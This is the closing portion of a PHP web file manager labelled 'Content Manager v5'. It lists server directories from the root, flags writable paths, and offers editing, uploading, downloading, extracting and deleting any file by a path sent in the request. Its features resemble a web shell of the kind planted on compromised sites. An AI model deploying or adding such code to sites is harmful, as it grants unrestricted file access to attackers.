<span class="info-sep">|</span>
<span class="info-label">Free</span><span class="info-sep">:</span>
<span class="info-value"><?=h($env['free_space'])?></span>
<span class="info-sep">/</span>
<span class="info-value"><?=h($env['total_space'])?></span>
</div>
<?php
$clickable_path = '';
$p = '';
$path_parts = explode(DIRECTORY_SEPARATOR, rtrim($path, DIRECTORY_SEPARATOR));
foreach ($path_parts as $i => $part) {
if ($part === '') {
if ($i === 0 && DIRECTORY_SEPARATOR === '/') {
$p = '/';
$clickable_path .= "<a href='?path=/$sortQuery' class='path-link'>/</a>";
}
continue;
}
$p .= ($p === '/' || $p === '') ? $part : DIRECTORY_SEPARATOR . $part;
$clickable_path .= "<a href='?path=" . urlencode($p) . $sortQuery . "' class='path-link'>" . h($part) . "</a><span class='path-sep'>/</span>";
}
?>
<div class="current-path">
<span class="label">Path:</span>
<span class="value"><?=$clickable_path?></span>
<?php
if (is_writable($path)) echo ' <span style="color:#66bb6a;font-size:11px;float:right;margin-top:2px;">[Writable]</span>';
else echo ' <span style="color:#ef5350;font-size:11px;float:right;margin-top:2px;">[Read-Only]</span>';
?>
</div>
<?php if ($message) {
$cls = (strpos($message, 'ERR:') !== false) ? 'alert alert-error' : 'alert';
echo "<div class='$cls'>" . h($message) . "</div>";
} ?>
<!-- TOOLBAR -->
<div class="toolbar">
<div style="display:flex;gap:10px;align-items:center;flex-wrap:wrap;">
<button type="button" class="btn btn-primary" onclick="showPrompt('create_file','Nama File Baru:')">New File</button>
<button type="button" class="btn btn-primary" onclick="showPrompt('create_folder','Nama Folder Baru:')">New Folder</button>
<?php if ($clipboard_count > 0): ?>
<form method="POST" style="display:inline;margin:0;">
<input type="hidden" name="action" value="paste">
<button type="submit" class="btn btn-paste" onclick="return confirm('Paste <?=$clipboard_count?> item ke folder ini?');">Paste (<?=$clipboard_count?>)</button>
</form>
<form method="POST" style="display:inline;margin:0;">
<input type="hidden" name="action" value="clear_clipboard">
<button type="submit" class="btn btn-clipboard-clear">Clear Clipboard</button>
</form>
<?php endif; ?>
</div>
<div style="display:flex;gap:8px;align-items:center;flex-wrap:wrap;">
<?php if ($clipboard_count > 0): ?>
<span class="clipboard-badge">Clipboard: <?=$clipboard_count?> item</span>
<?php endif; ?>
<form method="POST" enctype="multipart/form-data" id="uploadForm" class="upload-zone">
<input type="file" name="upload_files[]" id="multiFileInput" multiple style="display:none" onchange="updateUploadCount(this,'fileCount');document.getElementById('uploadForm').submit();">
<input type="file" name="upload_folder[]" id="folderInput" webkitdirectory style="display:none" onchange="updateUploadCount(this,'folderCount');this.name='upload_files[]';document.getElementById('uploadForm').submit();">
<label for="multiFileInput">Upload Files</label>
<label for="folderInput">Upload Folder</label>
<span id="fileCount" class="upload-count" style="display:none"></span>
<span id="folderCount" class="upload-count" style="display:none"></span>
</form>
</div>
</div>
<?php
if ($action === 'edit' && isset($_POST['target'])) {
$target = $_POST['target'];
$content = file_exists($target) ? htmlspecialchars(file_get_contents($target), ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') : "";
$safe_target = h($target);
echo "<h3 style='color:#00bcd4;margin:15px 0 10px 0;'>Editing: ".h(basename($target))."</h3>
<form method='POST'>
<input type='hidden' name='action' value='save_edit'>
<input type='hidden' name='target' value='$safe_target'>
<textarea name='edit_content'>$content</textarea><br><br>
<button type='submit' class='btn btn-save'>SAVE CHANGES</button>
<a href='?path=".urlencode($path).$sortQuery."' class='btn' style='margin-left:8px;'>CANCEL</a>
</form>";
}
elseif ($action === 'rename' && isset($_POST['target'])) {
$target = $_POST['target'];
$safe_target = h($target);
$safe_name = h(basename($target));
echo "<h3 style='color:#00bcd4;margin:15px 0 10px 0;'>Rename: $safe_name</h3>
<form method='POST'>
<input type='hidden' name='action' value='save_rename'>
<input type='hidden' name='target' value='$safe_target'>
<input type='text' name='new_name' value='$safe_name' style='width:400px;padding:10px;font-size:14px;'>
<br><br>
<button type='submit' class='btn btn-save'>RENAME</button>
<a href='?path=".urlencode($path).$sortQuery."' class='btn' style='margin-left:8px;'>CANCEL</a>
</form>";
}
else {
$mediaIndex = 0;
$mediaJsArray = [];
echo "<form method='POST' action='?path=".urlencode($path).$sortQuery."'>
<input type='hidden' name='action' value='mass_action'>
<div style='margin-bottom:10px;display:flex;align-items:center;gap:10px;'>
<select name='mass_type' style='padding:6px;background:#1a1a1a;color:#fff;border:1px solid #333;border-radius:4px;outline:none;'>
<option value=''>-- Action for Selected --</option>
<option value='delete'>Delete Selected</option>
<option value='zip'>ZIP Selected</option>
<option value='copy'>Copy Selected</option>
</select>
<button type='submit' class='btn btn-danger' onclick='return confirmMassAction();'>Apply</button>
</div>
<table>
<thead><tr>
<th style='width:40px;text-align:center;'><input type='checkbox' onclick='toggleAll(this)'></th>
<th>".sortLink('name','Name',$sort,$order,$path)."</th>
<th style='width:110px;'>".sortLink('size','Size',$sort,$order,$path)."</th>
<th style='width:140px;'>".sortLink('modified','Modified',$sort,$order,$path)."</th>
<th style='width:140px;'>".sortLink('chmod','CHMOD',$sort,$order,$path)."</th>
<th style='width:300px;'>Action</th>
</tr></thead>
<tbody>";
$parent = dirname($path);
echo "<tr><td></td>
<td><a href='?path=".urlencode($parent).$sortQuery."' style='color:#ff9800;font-weight:bold;'>[ .. ] Parent Directory</a></td>
<td style='color:#555;'>-</td><td style='color:#555;'>-</td><td style='color:#555;'>-</td><td style='color:#555;'>-</td></tr>";
$items = @scandir($path);
if ($items === false) {
echo "<tr><td colspan='6' style='color:#ef5350;text-align:center;padding:30px;font-weight:bold;'>Cannot read this directory. Permission Denied.</td></tr>";
} else {
$dir_items = [];
$file_items = [];
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$fp = $path . DIRECTORY_SEPARATOR . $item;
if (is_dir($fp)) {
$ds = getDirSize($fp);
$dir_items[] = [
'name' => $item,
'path' => $fp,
'raw_size' => $ds['size'],
'size_approx' => $ds['approx'],
'mtime' => (int)@filemtime($fp),
'octal' => getOctal($fp),
];
} else {
$fs = @filesize($fp);
$file_items[] = [
'name' => $item,
'path' => $fp,
'raw_size' => ($fs !== false) ? $fs : 0,
'size_approx' => false,
'mtime' => (int)@filemtime($fp),
'octal' => getOctal($fp),
];
}
}
$dir_items = sortItems($dir_items, $sort, $order);
$file_items = sortItems($file_items, $sort, $order);
foreach ($dir_items as $d) {
$writable = is_writable($d['path']);
$perms_str = getPerms($d['path']);
$safe_item = h($d['name']);
$js_target = jsSafe($d['path']);
$mtime_str = $d['mtime'] ? date('Y-m-d H:i', $d['mtime']) : '-';
$perm_class = $writable ? 'perm-rw' : 'perm-ro';
$visited = isVisited($d['path']);
$sizeStr = formatSize($d['raw_size']);
if ($d['size_approx']) $sizeStr = '~' . $sizeStr;
if ($visited) {
$name_class = 'dir-visited';
} else {
$name_class = $writable ? 'dir-writable' : 'dir-readonly';
}
echo "<tr>";
echo "<td style='text-align:center;'><input type='checkbox' name='selected[]' value='".h($d['path'])."'></td>";
echo "<td><a href='?path=".urlencode($d['path']).$sortQuery."' class='$name_class'>$safe_item/</a></td>";
echo "<td style='color:#aaa;font-size:12px;'>$sizeStr</td>";
echo "<td style='color:#888;font-size:12px;'>$mtime_str</td>";
echo "<td><span class='perm-badge $perm_class'>$perms_str</span><span class='perm-octal'>".$d['octal']."</span></td>";
echo "<td>
<button type='button' class='btn' onclick=\"doAction('rename','$js_target')\">Rename</button>
<button type='button' class='btn btn-danger' onclick=\"doAction('delete','$js_target')\">Delete</button>
</td></tr>";
}
foreach ($file_items as $fi) {
$writable = is_writable($fi['path']);
$perms_str = getPerms($fi['path']);
$safe_item = h($fi['name']);
$js_target = jsSafe($fi['path']);
$perm_class = $writable ? 'perm-rw' : 'perm-ro';
$mtime_str = $fi['mtime'] ? date('Y-m-d H:i', $fi['mtime']) : '-';
$sizeStr = formatSize($fi['raw_size']);
$mediaType = getMediaType($fi['name']);
$visited = isVisited($fi['path']);
echo "<tr>";
echo "<td style='text-align:center;'><input type='checkbox' name='selected[]' value='".h($fi['path'])."'></td>";
if ($mediaType) {
$mediaJsArray[] = ['path' => $fi['path'], 'type' => $mediaType, 'name' => $fi['name']];
$visitedClass = $visited ? ' visited' : '';
echo "<td><span class='file-media$visitedClass' onclick=\"currentMediaIndex=$mediaIndex;openPreview('".jsSafe($fi['path'])."','$mediaType','$safe_item')\">$safe_item</span></td>";
$mediaIndex++;
} else {
$visitedClass = $visited ? 'file-visited' : 'file-name';
echo "<td class='$visitedClass'>$safe_item</td>";
}
echo "<td style='color:#ccc;'>$sizeStr</td>";
echo "<td style='color:#888;font-size:12px;'>$mtime_str</td>";
echo "<td><span class='perm-badge $perm_class'>$perms_str</span><span class='perm-octal'>".$fi['octal']."</span></td>";
$extract_btn = '';
if (isArchive($fi['name'])) {
$extract_btn = "<div class='extract-dropdown'>
<button type='button' class='btn btn-extract'>Extract ▼</button>
<div class='extract-menu'>
<button type='button' class='extract-menu-item' onclick=\"doExtract('extract','$js_target')\">Extract Files</button>
<button type='button' class='extract-menu-item' onclick=\"doExtract('extract_here','$js_target')\">Extract Here</button>
</div>
</div> ";
}
echo "<td>
$extract_btn
<button type='button' class='btn' onclick=\"doAction('edit','$js_target')\">Edit</button>
<button type='button' class='btn' onclick=\"doAction('rename','$js_target')\">Rename</button>
<a class='btn' href='$selfUrl?download=".urlencode($fi['path'])."' style='background:#113344;border-color:#00bcd4;color:#00bcd4;'>Download</a>
<button type='button' class='btn btn-danger' onclick=\"doAction('delete','$js_target')\">Delete</button>
</td></tr>";
}
}
echo "</tbody></table></form>";
if (!empty($mediaJsArray)) {
echo "<script>mediaFiles=[";
$js = [];
foreach ($mediaJsArray as $m) {
$js[] = "{path:'".jsSafe($m['path'])."',type:'".$m['type']."',name:'".jsSafe($m['name'])."'}";
}
echo implode(',', $js);
echo "];</script>";
}
}
?>
<div class="footer">Content Manager v5 © <?=date('Y')?></div>
</body>
</html>